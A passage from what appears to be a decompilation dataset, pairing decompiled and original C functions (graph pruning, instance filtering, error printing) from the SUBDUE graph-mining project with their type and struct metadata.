(*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "vertex11Label", "unsigned long" ], [ "vertex12Label", "unsigned long" ], [ "vertex21Label", "unsigned long" ], [ "vertex22Label", "unsigned long" ], [ "match", "unsigned char" ] ], "return_type": "unsigned char", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "2cdc6617b00752edfc69df701191d7fce041c55bf872f71a912b9e0f95b0804e" }, { "name": "FilterInstances", "canonical_name": "func4", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall FilterInstances(__int64 a1, __int64 *a2, __int64 a3, __int64 a4)\n{\n__int64 v4; // rax\ndouble v5; // xmm0_8\ndouble v9; // [rsp+20h] [rbp-30h] BYREF\n__int64 v10; // [rsp+28h] [rbp-28h]\ndouble v11; // [rsp+30h] [rbp-20h]\n__int64 v12; // [rsp+38h] [rbp-18h]\n__int64 v13; // [rsp+40h] [rbp-10h]\n__int64 *i; // [rsp+48h] [rbp-8h]\n\nv13 = AllocateInstanceList();\nif ( a2 )\n{\nfor ( i = (__int64 *)*a2; i; i = (__int64 *)i[1] )\n{\nif ( *i )\n{\nv12 = *i;\nif ( *(_BYTE *)(a4 + 1688) || !(unsigned __int8)InstanceListOverlap(v12, v13) )\n{\nv4 = *(_QWORD *)v12 + *(_QWORD *)(v12 + 8);\nif ( v4 < 0 )\nv5 = (double)(int)(v4 & 1 | ((unsigned __int64)v4 >> 1))\n+ (double)(int)(v4 & 1 | ((unsigned __int64)v4 >> 1));\nelse\nv5 = (double)(int)v4;\nv11 = v5 * *(double *)(a4 + 1704);\nv10 = InstanceToGraph(v12, a3);\nif ( (unsigned __int8)GraphMatch(a1, v10, *(_QWORD *)(a4 + 1600), &v9, 0LL, v11) )\n{\nif ( *(double *)(v12 + 32) > v9 )\n*(double *)(v12 + 32) = v9;\nInstanceListInsert(v12, v13, 0LL);\n}\nFreeGraph(v10);\n}\n}\n}\n}\nFreeInstanceList(a2);\nreturn v13;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1, __int64 *a2, __int64 a3, __int64 a4)\n{\n__int64 v4; // rax\ndouble v5; // xmm0_8\ndouble v9; // [rsp+20h] [rbp-30h] BYREF\n__int64 v10; // [rsp+28h] [rbp-28h]\ndouble v11; // [rsp+30h] [rbp-20h]\n__int64 v12; // [rsp+38h] [rbp-18h]\n__int64 v13; // [rsp+40h] [rbp-10h]\n__int64 *i; // [rsp+48h] [rbp-8h]\n\nv13 = AllocateInstanceList();\nif ( a2 )\n{\nfor ( i = (__int64 *)*a2; i; i = (__int64 *)i[1] )\n{\nif ( *i )\n{\nv12 = *i;\nif ( *(_BYTE *)(a4 + 1688) || !(unsigned __int8)InstanceListOverlap(v12, v13) )\n{\nv4 = *(_QWORD *)v12 + *(_QWORD *)(v12 + 8);\nif ( v4 < 0 )\nv5 = (double)(int)(v4 & 1 | ((unsigned __int64)v4 >> 1))\n+ (double)(int)(v4 & 1 | ((unsigned __int64)v4 >> 1));\nelse\nv5 = (double)(int)v4;\nv11 = v5 * *(double *)(a4 + 1704);\nv10 = InstanceToGraph(v12, a3);\nif ( (unsigned __int8)GraphMatch(a1, v10, *(_QWORD *)(a4 + 1600), &v9, 0LL, v11) )\n{\nif ( *(double *)(v12 + 32) > v9 )\n*(double *)(v12 + 32) = v9;\nInstanceListInsert(v12, v13, 0LL);\n}\nFreeGraph(v10);\n}\n}\n}\n}\nFreeInstanceList(a2);\nreturn v13;\n}", "original_code": "InstanceList *FilterInstances(Graph *subGraph, InstanceList *instanceList,\n Graph *graph, Parameters *parameters)\n{\n InstanceListNode *instanceListNode;\n Instance *instance;\n InstanceList *newInstanceList;\n Graph *instanceGraph;\n double thresholdLimit;\n double matchCost;\n newInstanceList = AllocateInstanceList();\n if (instanceList != ((void *)0))\n {\n instanceListNode = instanceList->head;\n while (instanceListNode != ((void *)0))\n {\n if (instanceListNode->instance != ((void *)0))\n {\n instance = instanceListNode->instance;\n if (parameters->allowInstanceOverlap ||\n (! InstanceListOverlap(instance, newInstanceList)))\n {\n thresholdLimit = parameters->threshold *\n (instance->numVertices + instance->numEdges);\n instanceGraph = InstanceToGraph(instance, graph);\n if (GraphMatch(subGraph, instanceGraph, parameters->labelList,\n thresholdLimit, & matchCost, ((void *)0)))\n {\n if (matchCost < instance->minMatchCost)\n instance->minMatchCost = matchCost;\n InstanceListInsert(instance, newInstanceList, 0);\n }\n FreeGraph(instanceGraph);\n }\n }\n instanceListNode = instanceListNode->next;\n }\n }\n FreeInstanceList(instanceList);\n return newInstanceList;\n}", "canonical_original_code": "struct InstanceList *FilterInstances(struct Graph *subGraph, struct InstanceList *instanceList, struct Graph *graph, struct Parameters *parameters)\n{\n struct _instance_list_node *instanceListNode;\n struct _instance *instance;\n struct InstanceList *newInstanceList;\n struct Graph *instanceGraph;\n double thresholdLimit;\n double matchCost;\n newInstanceList = AllocateInstanceList();\n if (instanceList != ((void *)0))\n {\n instanceListNode = instanceList->head;\n while (instanceListNode != ((void *)0))\n {\n if (instanceListNode->instance != ((void *)0))\n {\n instance = instanceListNode->instance;\n if (parameters->allowInstanceOverlap ||\n (! InstanceListOverlap(instance, newInstanceList)))\n {\n thresholdLimit = parameters->threshold *\n (instance->numVertices + instance->numEdges);\n instanceGraph = InstanceToGraph(instance, graph);\n if (GraphMatch(subGraph, instanceGraph, parameters->labelList,\n thresholdLimit, & matchCost, ((void *)0)))\n {\n if (matchCost < instance->minMatchCost)\n instance->minMatchCost = matchCost;\n InstanceListInsert(instance, newInstanceList, 0);\n }\n FreeGraph(instanceGraph);\n }\n }\n instanceListNode = instanceListNode->next;\n }\n }\n FreeInstanceList(instanceList);\n return newInstanceList;\n}", "variable_types": [ [ "subGraph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "instanceList", "struct InstanceList *" ], [ "graph", "struct Graph *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "instanceListNode", "struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *" ], [ "instance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "newInstanceList", "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *" ], [ "instanceGraph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "thresholdLimit", "double" ], [ "matchCost", "double" ] ], "return_type": "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct InstanceList { struct _instance_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }" ], "binary_hash": "2cdc6617b00752edfc69df701191d7fce041c55bf872f71a912b9e0f95b0804e" } ]
2e55f7d59fa1d98909a77142b2be33dad2a4bfbcc910f9965823b743535edb9d
gromgull/subdue
[ [ "OutOfMemoryError", "->" ], [ "PrintBoolean", "->" ] ]
[]
[ { "name": "OutOfMemoryError", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "void __fastcall __noreturn OutOfMemoryError(const char *a1)\n{\nprintf(\"ERROR: out of memory allocating %s.\\n\", a1);\nexit(1);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func0(const char *a1)\n{\nprintf(\"ERROR: out of memory allocating %s.\\n\", a1);\nexit(1);\n}", "original_code": "void OutOfMemoryError(char *context)\n{\n printf(\"ERROR: out of memory allocating %s.\\n\", context);\n exit(1);\n}", "canonical_original_code": "void OutOfMemoryError(char *context)\n{\n printf(\"ERROR: out of memory allocating %s.\\n\", context);\n exit(1);\n}", "variable_types": [ [ "context", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "2e55f7d59fa1d98909a77142b2be33dad2a4bfbcc910f9965823b743535edb9d" }, { "name": "PrintBoolean", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "int __fastcall PrintBoolean(char a1)\n{\nint result; // eax\n\nif ( a1 )\nresult = puts(\"true\");\nelse\nresult = puts(\"false\");\nreturn result;\n}\n", "canonical_decompiled_code": "int __fastcall func1(char a1)\n{\nint result; // eax\n\nif ( a1 )\nresult = puts(\"true\");\nelse\nresult = puts(\"false\");\nreturn result;\n}", "original_code": "void PrintBoolean(BOOLEAN boolean)\n{\n if (boolean)\n printf(\"true\\n\");\n else\n printf(\"false\\n\");\n}", "canonical_original_code": "void PrintBoolean(unsigned char boolean)\n{\n if (boolean)\n printf(\"true\\n\");\n else\n printf(\"false\\n\");\n}", "variable_types": [ [ "boolean", "unsigned char" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "2e55f7d59fa1d98909a77142b2be33dad2a4bfbcc910f9965823b743535edb9d" } ]
3509c87eea623b63bf0c30a5cb18c9e3ab1c6ff8637cccb9283f96b2579b4848
gromgull/subdue
[ [ "main", "->", "PruneGraph", "WritePrunedGraph" ], [ "PruneGraph", "->", "main" ], [ "WritePrunedGraph", "->", "main" ] ]
[ [ "main", "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nchar dest[256]; // [rsp+10h] [rbp-240h] BYREF\nchar s[264]; // [rsp+110h] [rbp-140h] BYREF\n__int64 v6; // [rsp+218h] [rbp-38h]\n__int64 v7; // [rsp+220h] [rbp-30h]\nFILE *v8; // [rsp+228h] [rbp-28h]\nFILE *v9; // [rsp+230h] [rbp-20h]\nFILE *stream; // [rsp+238h] [rbp-18h]\nunsigned __int8 v11; // [rsp+247h] [rbp-9h]\nchar *v12; // [rsp+248h] [rbp-8h]\n\nv11 = 1;\nif ( argc != 4 )\n{\nfprintf(stderr, \"usage: %s <label> <input graph file> <output graph file>\\n\", *argv);\nexit(1);\n}\nstream = fopen(argv[2], \"r\");\nif ( !stream )\n{\nfprintf(stderr, \"unable to open input file: %s\\n\", argv[2]);\nexit(1);\n}\nv9 = fopen(argv[3], \"w\");\nif ( !v9 )\n{\nfprintf(stderr, \"unable to open output file: %s\\n\", argv[3]);\nexit(1);\n}\nv12 = fgets(s, 256, stream);\nwhile ( v12 )\n{\ndest[0] = 0;\nif ( s[0] == 88 )\n{\nstrcpy(dest, s);\nv12 = fgets(s, 256, stream);\n}\nv8 = fopen(\"/tmp/gprune.tmp.g\", \"w\");\nif ( !v8 )\n{\nfprintf(stderr, \"unable to open temp file: %s\\n\", \"/tmp/gprune.tmp.g\");\nexit(1);\n}\nwhile ( v12 && s[0] != 88 )\n{\nfputs(s, v8);\nv12 = fgets(s, 256, stream);\n}\nfclose(v8);\nv7 = AllocateLabelList();\nv6 = ReadGraph(\"/tmp/gprune.tmp.g\", v7, v11);\nfunc0(v6, argv[1], v7);\nfputs(dest, v9);\nfunc1(v6, v9, v7);\nFreeGraph(v6);\nFreeLabelList(v7);\n}\nfclose(v9);\nfclose(stream);\nreturn 0;\n}" ], [ "WritePrunedGraph", "unsigned __int64 __fastcall func1(unsigned __int64 *a1, FILE *a2, __int64 a3)\n{\nunsigned __int64 result; // rax\n__int64 v5; // [rsp+28h] [rbp-18h]\nunsigned __int64 j; // [rsp+30h] [rbp-10h]\nunsigned __int64 i; // [rsp+38h] [rbp-8h]\n\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( *(_BYTE *)(a1[2] + 40 * i + 32) == 1 )\n{\nfprintf(a2, \"v %lu \", *(_QWORD *)(a1[2] + 40 * i + 24) + 1LL);\nWriteLabelToFile(a2, *(_QWORD *)(a1[2] + 40 * i), a3, 0LL);\nfputc(10, a2);\n}\n}\nfor ( j = 0LL; ; ++j )\n{\nresult = a1[1];\nif ( j >= result )\nbreak;\nif ( *(_BYTE *)(a1[3] + 32 * j + 25) == 1 )\n{\nv5 = a1[3] + 32 * j;\nif ( *(_BYTE *)(v5 + 24) )\nfputc(100, a2);\nelse\nfputc(117, a2);\nfprintf(\na2,\n\" %lu %lu \",\n*(_QWORD *)(a1[2] + 40LL * *(_QWORD *)v5 + 24) + 1LL,\n*(_QWORD *)(a1[2] + 40LL * *(_QWORD *)(v5 + 8) + 24) + 1LL);\nWriteLabelToFile(a2, *(_QWORD *)(v5 + 16), a3, 0LL);\nfputc(10, a2);\n}\n}\nreturn result;\n}" ] ]
[ { "name": "PruneGraph", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall PruneGraph(unsigned __int64 *a1, const char *a2, __int64 a3)\n{\nunsigned __int64 result; // rax\nchar v5[8]; // [rsp+20h] [rbp-50h] BYREF\ndouble v6; // [rsp+28h] [rbp-48h]\nchar *endptr; // [rsp+40h] [rbp-30h] BYREF\n__int64 v8; // [rsp+48h] [rbp-28h]\n__int64 v9; // [rsp+50h] [rbp-20h]\nchar v10; // [rsp+5Fh] [rbp-11h]\nunsigned __int64 j; // [rsp+60h] [rbp-10h]\nunsigned __int64 i; // [rsp+68h] [rbp-8h]\n\nfor ( i = 0LL; i < *a1; ++i )\n{\n*(_BYTE *)(a1[2] + 40 * i + 32) = 1;\n*(_QWORD *)(a1[2] + 40 * i + 24) = i;\n}\nfor ( j = 0LL; j < a1[1]; ++j )\n*(_BYTE *)(a1[3] + 32 * j + 25) = 1;\nv5[0] = 1;\nv6 = strtod(a2, &endptr);\nif ( *endptr )\n{\nv5[0] = 0;\nv6 = *(double *)&a2;\n}\nv8 = GetLabelIndex(v5, a3);\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( v8 == *(_QWORD *)(a1[2] + 40 * i) )\n{\n*(_BYTE *)(a1[2] + 40 * i + 32) = 0;\nfor ( j = 0LL; j < *(_QWORD *)(a1[2] + 40 * i + 8); ++j )\n*(_BYTE *)(a1[3] + 32LL * *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * i + 16) + 8 * j) + 25) = 0;\n}\n}\nfor ( j = 0LL; j < a1[1]; ++j )\n{\nif ( v8 == *(_QWORD *)(a1[3] + 32 * j + 16) )\n*(_BYTE *)(a1[3] + 32 * j + 25) = 0;\n}\nfor ( i = 0LL; i < *a1; ++i )\n{\nv10 = 1;\nfor ( j = 0LL; j < *(_QWORD *)(a1[2] + 40 * i + 8); ++j )\n{\nif ( *(_BYTE *)(a1[3] + 32LL * *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * i + 16) + 8 * j) + 25) == 1 )\nv10 = 0;\n}\nif ( v10 == 1 )\n*(_BYTE *)(a1[2] + 40 * i + 32) = 0;\n}\nv9 = 0LL;\nfor ( i = 0LL; ; ++i )\n{\nresult = *a1;\nif ( i >= *a1 )\nbreak;\nif ( *(_BYTE *)(a1[2] + 40 * i + 32) == 1 )\n*(_QWORD *)(a1[2] + 40 * i + 24) = v9++;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func0(unsigned __int64 *a1, const char *a2, __int64 a3)\n{\nunsigned __int64 result; // rax\nchar v5[8]; // [rsp+20h] [rbp-50h] BYREF\ndouble v6; // [rsp+28h] [rbp-48h]\nchar *endptr; // [rsp+40h] [rbp-30h] BYREF\n__int64 v8; // [rsp+48h] [rbp-28h]\n__int64 v9; // [rsp+50h] [rbp-20h]\nchar v10; // [rsp+5Fh] [rbp-11h]\nunsigned __int64 j; // [rsp+60h] [rbp-10h]\nunsigned __int64 i; // [rsp+68h] [rbp-8h]\n\nfor ( i = 0LL; i < *a1; ++i )\n{\n*(_BYTE *)(a1[2] + 40 * i + 32) = 1;\n*(_QWORD *)(a1[2] + 40 * i + 24) = i;\n}\nfor ( j = 0LL; j < a1[1]; ++j )\n*(_BYTE *)(a1[3] + 32 * j + 25) = 1;\nv5[0] = 1;\nv6 = strtod(a2, &endptr);\nif ( *endptr )\n{\nv5[0] = 0;\nv6 = *(double *)&a2;\n}\nv8 = GetLabelIndex(v5, a3);\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( v8 == *(_QWORD *)(a1[2] + 40 * i) )\n{\n*(_BYTE *)(a1[2] + 40 * i + 32) = 0;\nfor ( j = 0LL; j < *(_QWORD *)(a1[2] + 40 * i + 8); ++j )\n*(_BYTE *)(a1[3] + 32LL * *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * i + 16) + 8 * j) + 25) = 0;\n}\n}\nfor ( j = 0LL; j < a1[1]; ++j )\n{\nif ( v8 == *(_QWORD *)(a1[3] + 32 * j + 16) )\n*(_BYTE *)(a1[3] + 32 * j + 25) = 0;\n}\nfor ( i = 0LL; i < *a1; ++i )\n{\nv10 = 1;\nfor ( j = 0LL; j < *(_QWORD *)(a1[2] + 40 * i + 8); ++j )\n{\nif ( *(_BYTE *)(a1[3] + 32LL * *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * i + 16) + 8 * j) + 25) == 1 )\nv10 = 0;\n}\nif ( v10 == 1 )\n*(_BYTE *)(a1[2] + 40 * i + 32) = 0;\n}\nv9 = 0LL;\nfor ( i = 0LL; ; ++i )\n{\nresult = *a1;\nif ( i >= *a1 )\nbreak;\nif ( *(_BYTE *)(a1[2] + 40 * i + 32) == 1 )\n*(_QWORD *)(a1[2] + 40 * i + 24) = v9++;\n}\nreturn result;\n}", "original_code": "void PruneGraph(Graph *g, char *labelStr, LabelList *labelList)\n{\n ULONG v, e;\n char *endptr;\n Label label;\n ULONG labelIndex;\n BOOLEAN hangingVertex;\n ULONG vertexCounter;\n for (v = 0; v < g->numVertices; v++)\n {\n g->vertices[v].used = 1;\n g->vertices[v].map = v;\n }\n for (e = 0; e < g->numEdges; e++)\n g->edges[e].used = 1;\n label.labelType = 1;\n label.labelValue.numericLabel = strtod(labelStr, &endptr);\n if (*endptr != '\\0')\n {\n label.labelType = 0;\n label.labelValue.stringLabel = labelStr;\n }\n labelIndex = GetLabelIndex(&label, labelList);\n for (v = 0; v < g->numVertices; v++)\n {\n if (g->vertices[v].label == labelIndex)\n {\n g->vertices[v].used = 0;\n for (e = 0; e < g->vertices[v].numEdges; e++)\n g->edges[g->vertices[v].edges[e]].used = 0;\n }\n }\n for (e = 0; e < g->numEdges; e++)\n if (g->edges[e].label == labelIndex)\n g->edges[e].used = 0;\n for (v = 0; v < g->numVertices; v++)\n {\n hangingVertex = 1;\n for (e = 0; e < g->vertices[v].numEdges; e++)\n if (g->edges[g->vertices[v].edges[e]].used == 1)\n hangingVertex = 0;\n if (hangingVertex == 1)\n g->vertices[v].used = 0;\n }\n vertexCounter = 0;\n for (v = 0; v < g->numVertices; v++)\n if (g->vertices[v].used == 1)\n {\n g->vertices[v].map = vertexCounter;\n vertexCounter++;\n }\n}", "canonical_original_code": "void PruneGraph(struct Graph *g, char *labelStr, struct LabelList *labelList)\n{\n unsigned long v; unsigned long e;\n char *endptr;\n struct Label label;\n unsigned long labelIndex;\n unsigned char hangingVertex;\n unsigned long vertexCounter;\n for (v = 0; v < g->numVertices; v++)\n {\n g->vertices[v].used = 1;\n g->vertices[v].map = v;\n }\n for (e = 0; e < g->numEdges; e++)\n g->edges[e].used = 1;\n label.labelType = 1;\n label.labelValue.numericLabel = strtod(labelStr, &endptr);\n if (*endptr != '\\0')\n {\n label.labelType = 